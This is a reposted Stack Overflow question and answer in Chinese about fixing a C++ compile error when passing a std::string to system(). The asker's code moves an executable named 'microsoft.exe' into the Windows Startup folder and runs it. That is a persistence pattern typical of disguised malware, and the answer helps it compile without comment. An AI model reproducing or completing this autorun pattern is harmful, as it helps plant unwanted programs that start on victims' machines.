gpt4 book ai didi

c++ - 如何修复 "NO match found for ' 系统(字符串)

转载 作者:行者123 更新时间:2023-11-28 04:16:14 24 4
gpt4 key购买 nike

我收到错误 E2285 没有找到“system(string)”的匹配项请帮我。代码在下面我不明白为什么它不起作用,因为这通常适用于 cout<<

#include <stdio.h>  /* defines FILENAME_MAX */
using namespace std;
#define WINDOWS /* uncomment this line to use it for windows.*/
#include <direct.h>
#define GetCurrentDir _getcwd
#include <iostream>


string GetCurrentWorkingDir( void ) {
char buff[FILENAME_MAX];
GetCurrentDir( buff, FILENAME_MAX );
std::string current_working_dir(buff);
return current_working_dir;
}

int main(){
string dir;
dir = GetCurrentWorkingDir();
system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.html");
system("cd\\");
system("cd microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup");
system("microsoft.exe");

return 1;
}

最佳答案

std::system需要 const char*不是std::string ,从 warnings 中可以明显看出.

system("move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup")

这里求和的结果是std::string .将论点收集到一个单一的std::string , 然后使用 std::string::c_str调用方法 std::system .

auto arg = "move "+ dir + "\\microsoft.exe C:\\programdata\\microsoft\\windows\\start menu\\programs\\startup";
std::system(arg.c_str());

除此之外,你还有很多错误,比如你没有包含 <string> header ,你返回 1来自 main而不是 0 . You use using namespace std; ,您使用标准 header 的 C 版本( <stdio.h> 而不是 <cstdio> ),您从未包含 <cstdlib>它定义了 std::system等等。

关于c++ - 如何修复 "NO match found for ' 系统(字符串),我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/56541554/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com